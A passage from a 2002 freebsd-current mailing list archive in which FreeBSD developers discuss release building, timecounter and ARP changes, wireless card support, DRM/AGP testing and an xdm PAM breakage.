(PDT) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.6/8.11.2) id g3QJZvG63437; Fri, 26 Apr 2002 22:35:57 +0300 (EEST) (envelope-from ru) Date: Fri, 26 Apr 2002 22:35:57 +0300 From: Ruslan Ermilov To: current@FreeBSD.org Cc: cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org Subject: Re: cvs commit: src Makefile Makefile.inc1 src/etc Makefile src/gnu/usr.bin/perl/library Makefile.inc src/release Makefile src/release/scripts catpages-make.sh doFS.sh manpages-make.sh src/secure/usr.bin/ssh Makefile src/secure/usr.sbin/sshd Makefile ... Message-ID: <20020426193557.GA60712@sunbay.com> References: <200204261755.g3QHtRv72264@freefall.freebsd.org> <20020426182634.GB87482@sunbay.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="1yeeQ81UyVL57Vl7" Content-Disposition: inline In-Reply-To: <20020426182634.GB87482@sunbay.com> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --1yeeQ81UyVL57Vl7 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Apr 26, 2002 at 09:26:34PM +0300, Ruslan Ermilov wrote: > I tested this on i386 only with 2 days old -CURRENT (today's is > broken due to the import of latest IPFilter suite), and just to > make sure I didn't screw other arches I'd appreciate a feedback > from Alpha hardware owners. It's important to note that you no > longer need to have a today's world to build a today's release. > I.e., if you built world a month ago, and didn't touch /usr/src > since, and /usr/obj has "buildworld" output for this /usr/src, > and you have booted with this world, it should be okay to start > building today's release. I even suspect that you can now use > the -STABLE box to build -CURRENT release (but still the same > arch). [...] Correction. Make sure you cd /usr/src/release && \ make -f /path/to/-CURRENT/usr/src/release/Makefile \ [re]release ... before trying to build -CURRENT release on your -STABLE box. -STABLE's release/Makefile has some incompatibilities, the most harmless of which is BUILDNAME. Cheers, --=20 Ruslan Ermilov Sysadmin and DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age --1yeeQ81UyVL57Vl7 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8yawdUkv4P6juNwoRAtFDAJ9KANCoOAc9oKmwD0HwFrI+oOLETQCZAfty xVn5GOS2wC+yAcIhsyn0PlI= =DqAZ -----END PGP SIGNATURE----- --1yeeQ81UyVL57Vl7-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 13: 0:47 2002 Delivered-To: freebsd-current@freebsd.org Received: from rwcrmhc53.attbi.com (rwcrmhc53.attbi.com [204.127.198.39]) by hub.freebsd.org (Postfix) with ESMTP id C58DA37B497; Fri, 26 Apr 2002 13:00:22 -0700 (PDT) Received: from bmah.dyndns.org ([12.233.149.189]) by rwcrmhc53.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020426200022.YUXV25242.rwcrmhc53.attbi.com@bmah.dyndns.org>; Fri, 26 Apr 2002 20:00:22 +0000 Received: from intruder.bmah.org (localhost [127.0.0.1]) by bmah.dyndns.org (8.12.3/8.12.3) with ESMTP id g3QK0LcB025788; Fri, 26 Apr 2002 13:00:21 -0700 (PDT) (envelope-from bmah@intruder.bmah.org) Received: (from bmah@localhost) by intruder.bmah.org (8.12.3/8.12.3/Submit) id g3QK0LxC025787; Fri, 26 Apr 2002 13:00:21 -0700 (PDT) Message-Id: <200204262000.g3QK0LxC025787@intruder.bmah.org> X-Mailer: exmh version 2.5+ 20020416 with nmh-1.0.4 To: Ruslan Ermilov Cc: current@FreeBSD.org, cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org Subject: Re: cvs commit: src Makefile Makefile.inc1 src/etc Makefile src/gnu/usr.bin/perl/library Makefile.inc src/release Makefile src/release/scripts catpages-make.sh doFS.sh manpages-make.sh src/secure/usr.bin/ssh Makefile src/secure/usr.sbin/sshd Makefile ... In-reply-to: <20020426182634.GB87482@sunbay.com> References: <200204261755.g3QHtRv72264@freefall.freebsd.org> <20020426182634.GB87482@sunbay.com> Comments: In-reply-to Ruslan Ermilov message dated "Fri, 26 Apr 2002 21:26:34 +0300." From: "Bruce A. Mah" Reply-To: bmah@FreeBSD.org X-Face: g~c`.{#4q0"(V*b#g[i~rXgm*w;:nMfz%_RZLma)UgGN&=j`5vXoU^@n5v4:OO)c["!w)nD/!!~e4Sj7LiT'6*wZ83454H""lb{CC%T37O!!'S$S&D}sem7I[A 2V%N&+ X-Image-Url: http://www.employees.org/~bmah/Images/bmah-cisco-small.gif X-Url: http://www.employees.org/~bmah/ Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 26 Apr 2002 13:00:21 -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG If memory serves me right, Ruslan Ermilov wrote: > It's important to note that you no > longer need to have a today's world to build a today's release. > I.e., if you built world a month ago, and didn't touch /usr/src > since, and /usr/obj has "buildworld" output for this /usr/src, > and you have booted with this world, it should be okay to start > building today's release. I'm not sure I understand this comment. Why was there a requirement to have today's /usr/src and /usr/obj before starting a release? (Most of my release-building experience is with 4-STABLE, but so far it seems like as long as there haven't been any major API changes or other shufflings between what's on the machine and the release being built, it Just Worked (TM).) Thanks, Bruce. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 13: 5:37 2002 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id F1CCE37B438; Fri, 26 Apr 2002 13:05:04 -0700 (PDT) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.6/8.11.2) id g3QK4xZ68793; Fri, 26 Apr 2002 23:04:59 +0300 (EEST) (envelope-from ru) Date: Fri, 26 Apr 2002 23:04:59 +0300 From: Ruslan Ermilov To: "Bruce A. Mah" Cc: current@FreeBSD.org, cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org Subject: Re: cvs commit: src Makefile Makefile.inc1 src/etc Makefile src/gnu/usr.bin/perl/library Makefile.inc src/release Makefile src/release/scripts catpages-make.sh doFS.sh manpages-make.sh src/secure/usr.bin/ssh Makefile src/secure/usr.sbin/sshd Makefile ... Message-ID: <20020426200459.GA68727@sunbay.com> References: <200204261755.g3QHtRv72264@freefall.freebsd.org> <20020426182634.GB87482@sunbay.com> <200204262000.g3QK0LxC025787@intruder.bmah.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="WIyZ46R2i8wDzkSu" Content-Disposition: inline In-Reply-To: <200204262000.g3QK0LxC025787@intruder.bmah.org> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --WIyZ46R2i8wDzkSu Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Apr 26, 2002 at 01:00:21PM -0700, Bruce A. Mah wrote: > If memory serves me right, Ruslan Ermilov wrote: >=20 > > It's important to note that you no > > longer need to have a today's world to build a today's release. > > I.e., if you built world a month ago, and didn't touch /usr/src > > since, and /usr/obj has "buildworld" output for this /usr/src, > > and you have booted with this world, it should be okay to start > > building today's release. >=20 > I'm not sure I understand this comment. Why was there a requirement to > have today's /usr/src and /usr/obj before starting a release? >=20 > (Most of my release-building experience is with 4-STABLE, but so far it > seems like as long as there haven't been any major API changes or other > shufflings between what's on the machine and the release being built, it > Just Worked (TM).) >=20 You're right, it wasn't required even before. Cheers, --=20 Ruslan Ermilov Sysadmin and DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age --WIyZ46R2i8wDzkSu Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8ybLrUkv4P6juNwoRAhd3AJwMVgkLTg7iaagQYG+dEkItls7hvQCdEE0P MWtYvGOKugJzZHQW87bf6zo= =xL4x -----END PGP SIGNATURE----- --WIyZ46R2i8wDzkSu-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 13:44:52 2002 Delivered-To: freebsd-current@freebsd.org Received: from zoot.corp.yahoo.com (zoot.corp.yahoo.com [216.145.52.89]) by hub.freebsd.org (Postfix) with ESMTP id 1B80437B41C; Fri, 26 Apr 2002 13:44:47 -0700 (PDT) Received: from zoot.corp.yahoo.com (localhost [127.0.0.1]) by zoot.corp.yahoo.com (8.12.3/8.12.3) with ESMTP id g3QKikHW077151; Fri, 26 Apr 2002 13:44:46 -0700 (PDT) (envelope-from DougB@FreeBSD.org) Received: from localhost (dougb@localhost) by zoot.corp.yahoo.com (8.12.3/8.12.3/Submit) with ESMTP id g3QKikx6077148; Fri, 26 Apr 2002 13:44:46 -0700 (PDT) X-Authentication-Warning: zoot.corp.yahoo.com: dougb owned process doing -bs Date: Fri, 26 Apr 2002 13:44:46 -0700 (PDT) From: Doug Barton X-X-Sender: dougb@zoot.corp.yahoo.com To: Ruslan Ermilov Cc: current@FreeBSD.org, , Subject: ipfilter not broken for me In-Reply-To: <20020426182634.GB87482@sunbay.com> Message-ID: <20020426134230.D77133-100000@zoot.corp.yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, 26 Apr 2002, Ruslan Ermilov wrote: > I tested this on i386 only with 2 days old -CURRENT (today's is > broken due to the import of latest IPFilter suite) I updated to the latest and greatest last night around midnight and built/installed -current just fine. What about the ipfilter import is broken, and have you let Darren know? I haven't seen anything on the lists about it... -- "We have known freedom's price. We have shown freedom's power. And in this great conflict, ... we will see freedom's victory." - George W. Bush, President of the United States State of the Union, January 28, 2002 Do YOU Yahoo!? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 13:45:36 2002 Delivered-To: freebsd-current@freebsd.org Received: from kayak.xcllnt.net (209-128-86-226.bayarea.net [209.128.86.226]) by hub.freebsd.org (Postfix) with ESMTP id B67D537B417; Fri, 26 Apr 2002 13:44:53 -0700 (PDT) Received: from athlon.pn.xcllnt.net (athlon.pn.xcllnt.net [192.168.4.3]) by kayak.xcllnt.net (8.11.6/8.11.4) with ESMTP id g3QKiqJ76868; Fri, 26 Apr 2002 13:44:52 -0700 (PDT) (envelope-from marcel@kayak.pn.xcllnt.net) Received: from athlon.pn.xcllnt.net (localhost [127.0.0.1]) by athlon.pn.xcllnt.net (8.12.3/8.12.2) with ESMTP id g3QKiqHl003444; Fri, 26 Apr 2002 13:44:52 -0700 (PDT) (envelope-from marcel@athlon.pn.xcllnt.net) Received: (from marcel@localhost) by athlon.pn.xcllnt.net (8.12.3/8.12.3/Submit) id g3QKiq4q003443; Fri, 26 Apr 2002 13:44:52 -0700 (PDT) Date: Fri, 26 Apr 2002 13:44:51 -0700 From: Marcel Moolenaar To: Ruslan Ermilov Cc: current@FreeBSD.org, cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org Subject: Re: cvs commit: src Makefile Makefile.inc1 src/etc Makefile src/gnu/usr.bin/perl/library Makefile.inc src/release Makefile src/release/scripts catpages-make.sh doFS.sh manpages-make.sh src/secure/usr.bin/ssh Makefile src/secure/usr.sbin/sshd Makefile ... Message-ID: <20020426204451.GA1674@athlon.pn.xcllnt.net> References: <200204261755.g3QHtRv72264@freefall.freebsd.org> <20020426182634.GB87482@sunbay.com> <20020426185921.GA282@athlon.pn.xcllnt.net> <20020426191214.GA50337@sunbay.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020426191214.GA50337@sunbay.com> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Apr 26, 2002 at 10:12:14PM +0300, Ruslan Ermilov wrote: > On Fri, Apr 26, 2002 at 11:59:21AM -0700, Marcel Moolenaar wrote: > > On Fri, Apr 26, 2002 at 09:26:34PM +0300, Ruslan Ermilov wrote: > > > > > I.e., if you built world a month ago, and didn't touch /usr/src > > > since, and /usr/obj has "buildworld" output for this /usr/src, > > > and you have booted with this world, it should be okay to start > > > building today's release. > > > > I share my src tree, so I almost always have a /usr/src that's not > > in sync with the /usr/obj for and on a particular machine. > > > > What goes wrong if /usr/src and /usr/obj are out of sync? > > > The prerequisite for a successful "make release" is to "installworld" > first the same world as you are currently running. This is done to > create a pristine environment (with an empty /etc/make.conf, etc.) > which is then chroot'ed into. I see. Doing a "make everything TARGET_ARCH=foo -DNOCLEAN" should probably be enough in most cases to sync the object tree, right? > Also, when I wrote "/usr/src" and "/usr/obj" I didn't mean them > literally. That's mostly academic :-) BTW: Do you have plans to remove the exception for non-cross builds to have the object tree rooted under /usr/obj/$TARGET_ARCH? The exception was created for make release, but from a pure cross-building point of view it's inconsistent and is one of the blockers to build, say, alpha on i386 and doing a native install on alpha (the other would be having an empty temproot). -- Marcel Moolenaar USPA: A-39004 marcel@xcllnt.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 13:54:53 2002 Delivered-To: freebsd-current@freebsd.org Received: from h38n2fls34o1000.telia.com (h38n2fls34o1000.telia.com [213.64.210.38]) by hub.freebsd.org (Postfix) with ESMTP id E454937B41C for ; Fri, 26 Apr 2002 13:54:11 -0700 (PDT) Received: from veidit.net ([192.168.1.99]) (authenticated bits=0) by h38n2fls34o1000.telia.com (8.12.2/8.12.2) with ESMTP id g3QKs6q5065826 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO) for ; Fri, 26 Apr 2002 22:54:10 +0200 (CEST) Message-ID: <3CC9BE6D.7070402@veidit.net> Date: Fri, 26 Apr 2002 22:54:05 +0200 From: John Angelmo User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.0rc1) Gecko/20020423 X-Accept-Language: en-us, en MIME-Version: 1.0 To: current Subject: elf/strip ??? Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I get this error when I'm trying to install some ports and /usr/src: (this is taken from /usr/src/libexec) make install ===> atrun install -c -s -o root -g wheel -m 555 atrun /usr/libexec strip: could not exec elf/strip in /usr/libexec: No such file or directory *** Error code 70 Stop in /usr/src/libexec/atrun. *** Error code 1 Stop in /usr/src/libexec. does anyone have any idea? /John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 14:52:58 2002 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163]) by hub.freebsd.org (Postfix) with ESMTP id 122C837B416 for ; Fri, 26 Apr 2002 14:52:54 -0700 (PDT) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.12.2/8.12.2) with ESMTP id g3QLqX9L055630 for ; Fri, 26 Apr 2002 23:52:33 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: current@freebsd.org Subject: Re: cvs commit: src/sys/kern kern_tc.c src/sys/sys timepps.h timetc.h In-Reply-To: Your message of "Fri, 26 Apr 2002 14:51:08 PDT." <200204262151.g3QLp8m26766@freefall.freebsd.org> Date: Fri, 26 Apr 2002 23:52:33 +0200 Message-ID: <55629.1019857953@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Please let me know if you see any changes in timekeeping behaviour as a result of this series of commits. >phk 2002/04/26 14:51:08 PDT > > Modified files: > sys/kern kern_tc.c > sys/sys timepps.h timetc.h > Log: > Now that the private parts of timecounters are no longer being fingered > by other bits of code, split struct timecounter into two. > > struct timecounter contains just the bits which pertains to the hardware > counter and the reading of it. > > struct timehands (as in "the hands on a clock") contains all the ugly bit > fidling stuff. Statically compile ten timehands. > > This commit is the functional part. A later cosmetic patch will rename > various variables and fieldnames. > > Revision Changes Path > 1.126 +109 -143 src/sys/kern/kern_tc.c > 1.15 +3 -1 src/sys/sys/timepps.h > 1.51 +1 -12 src/sys/sys/timetc.h > -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 16: 1:59 2002 Delivered-To: freebsd-current@freebsd.org Received: from fw.wemm.org (12-232-135-171.client.attbi.com [12.232.135.171]) by hub.freebsd.org (Postfix) with ESMTP id 1B25437B404; Fri, 26 Apr 2002 16:01:55 -0700 (PDT) Received: from overcee.wemm.org (overcee.wemm.org [10.0.0.3]) by fw.wemm.org (8.11.6/8.11.6) with ESMTP id g3QN1se44559; Fri, 26 Apr 2002 16:01:54 -0700 (PDT) (envelope-from peter@wemm.org) Received: from wemm.org (localhost [127.0.0.1]) by overcee.wemm.org (Postfix) with ESMTP id 45B2A38FF; Fri, 26 Apr 2002 16:01:55 -0700 (PDT) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: "Matthew N. Dodd" Cc: John Baldwin , Jan Stocker , BOUWSMA Beery , current@FreeBSD.ORG Subject: Re: Minor things: swi_net: unregistered isr number In-Reply-To: <20020426021139.F42854-100000@sasami.jurai.net> Date: Fri, 26 Apr 2002 16:01:55 -0700 From: Peter Wemm Message-Id: <20020426230155.45B2A38FF@overcee.wemm.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Matthew N. Dodd" wrote: > On Thu, 25 Apr 2002, Peter Wemm wrote: > > This is well known. If we recieve an ARP frame before we sent one, then > > we print this. eg: a broadcast ARP packet will trigger it. dhclient > > etc use bpf etc so ARP isn't initialized at this point. > > We could just put this block of code from arp_rtrequest() into arp_init(). > > LIST_INIT(&llinfo_arp); > timeout(arptimer, (caddr_t)0, hz); > register_netisr(NETISR_ARP, arpintr); > > I'm not sure why it should to be in arp_rtrequest() in the first place. You do not want the timer running and using cpu if you are not using ARP (eg: ppp only). Cheers, -Peter -- Peter Wemm - peter@wemm.org; peter@FreeBSD.org; peter@yahoo-inc.com "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 16: 3:32 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail.themuseav.com (adsl-065-082-213-077.sip.jax.bellsouth.net [65.82.213.77]) by hub.freebsd.org (Postfix) with ESMTP id 0B4BD37B41C for ; Fri, 26 Apr 2002 16:03:28 -0700 (PDT) Received: from localhost (tentacles@localhost) by mail.themuseav.com (8.11.1/8.11.1) with ESMTP id g3QNiBe21382 for ; Fri, 26 Apr 2002 19:44:11 -0400 Date: Fri, 26 Apr 2002 19:44:11 -0400 (EDT) From: ". ten tacles . ." To: freebsd-current@FreeBSD.ORG Subject: d-link dwl520 wireless pci Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG recently acquired a dwl520 and i was wondering if there is freebsd support for this card. i looked through what appeared to be the pci-support portion of the wi driver (if_wi_pci.c ..checked out via cvs last night) and i couldn't find a definition of this card: pci_ids[] = { {0x1638, 0x1100, WI_BUS_PCI_PLX, "PRISM2STA PCI WaveLAN/IEEE 802.11"}, {0x1385, 0x4100, WI_BUS_PCI_PLX, "Netgear MA301 PCI IEEE 802.11b"}, {0x16ab, 0x1101, WI_BUS_PCI_PLX, "GLPRISM2 PCI WaveLAN/IEEE 802.11"}, {0x16ab, 0x1102, WI_BUS_PCI_PLX, "Linksys WDT11 PCI IEEE 802.11b"}, {0x1260, 0x3873, WI_BUS_PCI_NATIVE, "Linksys WMP11 PCI Prism2.5"}, {0x10b7, 0x7770, WI_BUS_PCI_PLX, "3Com Airconnect IEEE 802.11b"}, {0x111a, 0x1023, WI_BUS_PCI_PLX, "Siemens SpeedStream IEEE 802.11b"}, {0, 0, 0, NULL} this may or may not be indicative of support for this card as far as i know (which is not much regarding driver hacking). i compiled the driver into the kernel anyways and got this on bootup: pci0: (vendor=0x1260, dev=0x3873) at 11.0 irq 12 so would anyone happen to know if this card is supported and if so, is there a diff/patch/revision that i should get or procedure i should follow? thanks a bunches! --tents To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 16:11:50 2002 Delivered-To: freebsd-current@freebsd.org Received: from gladstone.uoregon.edu (gladstone.uoregon.edu [128.223.142.14]) by hub.freebsd.org (Postfix) with ESMTP id 46C4337B42B for ; Fri, 26 Apr 2002 16:11:37 -0700 (PDT) Received: from anholt (anholt@d184-101.uoregon.edu [128.223.184.101]) by gladstone.uoregon.edu (8.12.3/8.12.3) with ESMTP id g3QNBTl2023688; Fri, 26 Apr 2002 16:11:29 -0700 (PDT) Subject: Re: DRM in the sys/ tree: looking for testers From: Eric Anholt To: moto kawasaki Cc: current@FreeBSD.ORG, freebsd-xfree86@lists.csociety.org In-Reply-To: <20020426.160316.74739357.kawasaki@mbg.sphere.ne.jp> References: <1019092948.734.19.camel@anholt.dyndns.org> <20020426.160316.74739357.kawasaki@mbg.sphere.ne.jp> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 Date: 26 Apr 2002 17:11:31 -0600 Message-Id: <1019862691.432.610.camel@anholt.dyndns.org> Mime-Version: 1.0 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, 2002-04-26 at 01:03, moto kawasaki wrote: > > Thank you very much, Mr. Eric Anholt, > > I have been testing your code on my PC, and found that kernel cannot > initialize agpgart device so far. The i8x0 DRM drivers require AGP to be working. I took a look at your i830 patch today, and compared it to the linux kernel version. I added some more checks for invalid options (binding memory into offsets used by the stolen memory), and added the enabling of the gatt that linux does. The only difference that I see between our drivers after this diff is that linux forces enabling of the integrated graphics. The diff is at http://gladstone.uoregon.edu/~eanholt/dri/i810diff If we aren't sure how well the driver is working, testgart might help for debugging without using X. A copy of linux testgart from utah-glx is at http://gladstone.uoregon.edu/~eanholt/dri/testgart.c To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 16:24:43 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail.speakeasy.net (mail15.speakeasy.net [216.254.0.215]) by hub.freebsd.org (Postfix) with ESMTP id 14F1537B421 for ; Fri, 26 Apr 2002 16:24:35 -0700 (PDT) Received: (qmail 11701 invoked from network); 26 Apr 2002 23:24:33 -0000 Received: from unknown (HELO server.baldwin.cx) ([216.27.160.63]) (envelope-sender ) by mail15.speakeasy.net (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 26 Apr 2002 23:24:33 -0000 Received: from laptop.baldwin.cx (laptop.baldwin.cx [192.168.0.4]) by server.baldwin.cx (8.11.6/8.11.6) with ESMTP id g3QNOXv16036; Fri, 26 Apr 2002 19:24:33 -0400 (EDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.5.2 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Fri, 26 Apr 2002 19:23:47 -0400 (EDT) From: John Baldwin To: des@FreeBSD.org Subject: xdm broken on current Cc: current@FreeBSD.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Please back out revision 1.3 of src/etc/pam.d/xdm since it breaks xdm. xdm core dumps with a signal 6 if there is no session management configured for it in PAM. Obviously this commmit wasn't actually tested with xdm (at least not on X 4). In revision 1.19 of pam.conf Mark Murray changed the session management for xdm to use pam_unix instead of pam_deny with no apparent reason why. (The log message doesn't say why that change was made.) -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 16:28: 2 2002 Delivered-To: freebsd-current@freebsd.org Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by hub.freebsd.org (Postfix) with ESMTP id 9343B37B400 for ; Fri, 26 Apr 2002 16:27:59 -0700 (PDT) Received: by elvis.mu.org (Postfix, from userid 1192) id 6E893AE25C; Fri, 26 Apr 2002 16:27:59 -0700 (PDT) Date: Fri, 26 Apr 2002 16:27:59 -0700 From: Alfred Perlstein To: ". ten tacles . ." Cc: freebsd-current@FreeBSD.ORG Subject: Re: d-link dwl520 wireless pci Message-ID: <20020426232759.GM1530@elvis.mu.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * . ten tacles . . [020426 16:03] wrote: > > via cvs last night) and i couldn't find a definition of this card: > > pci_ids[] = { ... > {0x1260, 0x3873, WI_BUS_PCI_NATIVE, "Linksys WMP11 PCI Prism2.5"}, ... > pci0: (vendor=0x1260, dev=0x3873) at 11.0 irq 12 I think you mucked up your kernel install. Are you positive? Try sticking a printf in the driver's probe routine to make sure it's being called at boot time. -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' Tax deductible donations for FreeBSD: http://www.freebsdfoundation.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 16:29: 1 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail.speakeasy.net (mail15.speakeasy.net [216.254.0.215]) by hub.freebsd.org (Postfix) with ESMTP id 154CF37B419 for ; Fri, 26 Apr 2002 16:28:55 -0700 (PDT) Received: (qmail 14313 invoked from network); 26 Apr 2002 23:28:54 -0000 Received: from unknown (HELO server.baldwin.cx) ([216.27.160.63]) (envelope-sender ) by mail15.speakeasy.net (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 26 Apr 2002 23:28:54 -0000 Received: from laptop.baldwin.cx (laptop.baldwin.cx [192.168.0.4]) by server.baldwin.cx (8.11.6/8.11.6) with ESMTP id g3QNSsv16072; Fri, 26 Apr 2002 19:28:54 -0400 (EDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.5.2 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Fri, 26 Apr 2002 19:28:08 -0400 (EDT) From: John Baldwin To: John Baldwin Subject: RE: xdm broken on current Cc: current@FreeBSD.org, des@FreeBSD.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 26-Apr-2002 John Baldwin wrote: > Please back out revision 1.3 of src/etc/pam.d/xdm since it breaks xdm. > xdm core dumps with a signal 6 if there is no session management > configured for it in PAM. Obviously this commmit wasn't actually tested > with xdm (at least not on X 4). In revision 1.19 of pam.conf Mark > Murray changed the session management for xdm to use pam_unix instead of > pam_deny with no apparent reason why. (The log message doesn't say why > that change was made.) Erm, I should finish that thought: So perhaps it can use pam_deny or some such instead of pam_unix if using pam_unix is 